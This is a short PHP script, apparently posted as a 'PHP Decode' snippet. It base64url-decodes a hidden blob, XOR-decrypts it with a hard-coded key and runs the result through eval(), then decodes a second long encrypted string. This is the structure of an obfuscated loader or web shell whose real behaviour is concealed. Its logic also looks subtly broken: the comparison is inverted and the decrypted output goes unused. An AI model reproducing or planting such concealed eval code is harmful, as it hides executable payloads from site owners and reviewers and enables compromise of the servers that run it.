PHP Decode

<?php 
function base64url_encode($data) { 
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); 
} 
 
function base64url_decode($data) { 
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT)); 
}  
function x($k, $p){ 
		$c = ""; 
		$l = strlen($k); 
		$pl = strlen($p); 
		for($i = 0; $i < $pl; $i++) { 
			$c .= $k[$i % $l] ^ $p[$i]; 
		} 
		return $c; 
} 
$k = 'c4bc831801727b2d'; 
$content = "czNwM2hyCg%3D%3D=I1cKB1FBGRofR1ZAGBVFE0xXDQ1eWlYaGQp3QU4RRgEOHEAAWUcRW19fUVtQTFsKABoSC0gRGANwQk5BQwdfTEFXAxcYUERLRF5aV0URbQABGhILSBEYAw"; 
$split = explode("=", $content); 
if (strcmp(base64url_decode($split[0]),'s3p3hr')) { 
$decoded = base64url_decode($split[1]); 
		$decrypted = x($k,$decoded); 
		ob_start(); 
		try { 
			eval($decrypted); 
		} 
		catch (exception $e) { 
			print($e->getMessage()); 
		} 
		$o = "XwsSC0g5OxsQeFESTg1HRAJGB0NQUkdRXlYXQkUNUAgGWRFDW1xfVlVSQ1tZBRIQDBQWC10TfEFjYHsSUwNGBQFVEQYYUl9cEFBbXhcNVEQXXAdDTlJDUVFTW1dEQlABD1sVQ1lBVBhTXkVAUgFGbkAUFhFBE1JQUV9QW1kFEhALUUJEXFFuS1VDQVdFRRISAkYLAlpfVBhWQ1hfFw5dBwJYCgxLRxFMXxEGAABMAkpTGlNNGHVYQFVCF1MXEkALAVgHDhhXRF0QRVgSRA1RDwZAEU0yEBEYEGVfU1kJQUQXW0IjXFpWUV5YWVhWQlQLERQWC10TV1FIHz04FEJ2BRdVAAJLVhFVUV9WVVIPVwoXFBEaS0dUVRBFWBJCEVduR3AgLmsTDBgXfE5hZi4VX2kXRid6fmIYDREQYnAxYyhED0JMFxNyTUJDUlxDDktEB10RAlpfVFw6OxQScwNGBQFVEQYYRVBKWVBVXlIROEdDFEI0eWF_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"; 
		 
 
		$e = base64url_decode($o); 
		$c = x($k, $e); 
		ob_end_clean(); 
		print($e . "
"); 
} 
?>